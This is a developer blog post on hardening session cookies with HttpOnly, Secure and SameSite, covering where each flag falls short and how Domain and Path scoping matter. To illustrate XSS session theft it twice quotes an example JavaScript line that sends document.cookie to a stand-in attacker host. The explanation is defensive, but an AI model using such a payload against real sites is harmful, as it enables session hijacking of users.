A real-world session hijacking incident often comes down to one missing attribute on a cookie. Not a broken algorithm, not a weak cipher — just Set-Cookie: session=abc123 with no flags attached, sitting naked in the browser, readable by any JavaScript on the page.
Use all three flags — HttpOnly, Secure, and SameSite=Lax (or Strict) — on every session or auth cookie you set. This isn't a checklist you negotiate with; it's the baseline. The rest of this article explains exactly why each flag matters, where they fall short, and what junior devs consistently get wrong.
What Each Flag Actually Does
HttpOnly prevents JavaScript from accessing the cookie via document.cookie. That's it. It doesn't encrypt the cookie, it doesn't stop it from being sent over HTTP, and it doesn't prevent CSRF. What it does stop is XSS-based session theft — an attacker injecting a script that exfiltrates your users' session tokens to their own server.
fetch("https://evil.com/steal?c=" + document.cookie)Without HttpOnly, a single reflected XSS vulnerability lets an attacker run fetch('https://evil.com/steal?c=' + document.cookie) and collect every active session in your app. With HttpOnly, that script gets an empty string.
Secure tells the browser to only send the cookie over HTTPS connections. If your app is served over HTTPS but you forget this flag, the browser will still send the cookie over plain HTTP — which means a man-in-the-middle on a coffee shop WiFi network can read the session token in clear text.
The non-obvious edge case here: if your staging environment runs on http://, setting Secure will silently break authentication there. Developers often chase this bug for hours. The fix is to make Secure conditional on your environment, not to remove it from production.
SameSite controls whether the browser sends the cookie on cross-site requests. It has three values:
Strict— cookie is never sent on cross-site requests, including navigations from external linksLax— cookie is sent on top-level navigations (e.g., clicking a link) but not on cross-origin subresource requests or form POSTsNone— cookie is always sent, but requiresSecureto be set (Chrome enforces this)
SameSite=Lax is the right default for most apps. It blocks CSRF on state-mutating requests while preserving normal navigation. Strict breaks OAuth and third-party redirect flows because the callback from the identity provider counts as a cross-site navigation, and the browser won't send your session cookie — so the user arrives authenticated at the IdP but logged out on your app.
Setting These Flags in Practice
Here's how to set a properly secured auth cookie across common backend stacks:
The Java SameSite Problem
Notice the Java example manually builds the Set-Cookie header string. This is not optional — the standard javax.servlet.http.Cookie API in older Java EE / Jakarta versions has no setSameSite() method. If you use cookie.setSecure(true) and call it done, your cookie has no SameSite attribute at all.
Modern browsers default to SameSite=Lax when no attribute is present, which helps — but you're depending on browser behavior instead of declaring your intent. In Spring Boot 3.x, you can configure this globally via CookieSerializer in your session configuration, which is cleaner than manual headers.
What These Flags Don't Protect Against
HttpOnly stops JavaScript from reading cookies, but it doesn't stop a full XSS attack from making authenticated requests on the user's behalf. The attacker's injected script can still call your API endpoints — the browser will attach the cookie automatically. CSRF protection and a solid Content Security Policy do the heavy lifting there.
Secure doesn't validate your TLS certificate quality or protect against a compromised root CA. It just enforces HTTPS transport. If your TLS configuration is weak (expired cert, TLS 1.0, etc.), Secure cookies are only as strong as your cert chain.
SameSite=Strict is tempting because it sounds safer, but it breaks OAuth callbacks, "magic link" email logins, and any flow where a user arrives at your app from an external redirect carrying an expected state. Use Lax and implement proper CSRF tokens for any sensitive state-mutating endpoints that need cross-site support.
Cookie Scope: Domain and Path Matter Too
One thing teams consistently ignore: Domain and Path scope what the browser will send the cookie to. If you set Domain=.example.com, the cookie is sent to every subdomain — including that old marketing microsite running on legacy.example.com that hasn't been patched since 2019. Be explicit. Leave Domain unset (which scopes the cookie to the exact host that set it) unless you specifically need subdomain sharing.
Similarly, setting Path=/api instead of Path=/ limits the cookie to API routes — useful if you have a separate admin panel at /admin that should use a different session.
Where to Go From Here
Audit your current session cookie right now. Open your browser DevTools, go to Application → Cookies, and check every cookie your app sets. If you see a session or auth cookie missing any of HttpOnly, Secure, or SameSite, that's a vulnerability waiting for the right XSS or network intercept to be exploited.
If you need a cryptographically strong session secret to sign those session tokens, generate one with the EncryptCodec Random Secret Generator — it produces secrets with proper entropy so you're not accidentally using a weak key in production.
Frequently Asked Questions
Related posts
Secure Password Reset Tokens — Expiry, Storage, and What Most Implementations Get Wrong
A practical guide to building secure password reset flows: token generation, expiry windows, one-time use enforcement, and the edge cases that cause real account takeovers.
Mar 30, 2026 · 7 min readIncident Response for Developers: What to Do When You Get Hacked
A practical incident response guide for developers covering detection, containment, eradication, recovery, and communication when a security breach happens.
Mar 29, 2026 · 9 min readPhishing Prevention: A Developer's Guide to SPF, DKIM, and DMARC
Understand how email spoofing enables phishing attacks and how to implement SPF, DKIM, and DMARC to protect your domain from being impersonated.
Mar 29, 2026 · 9 min read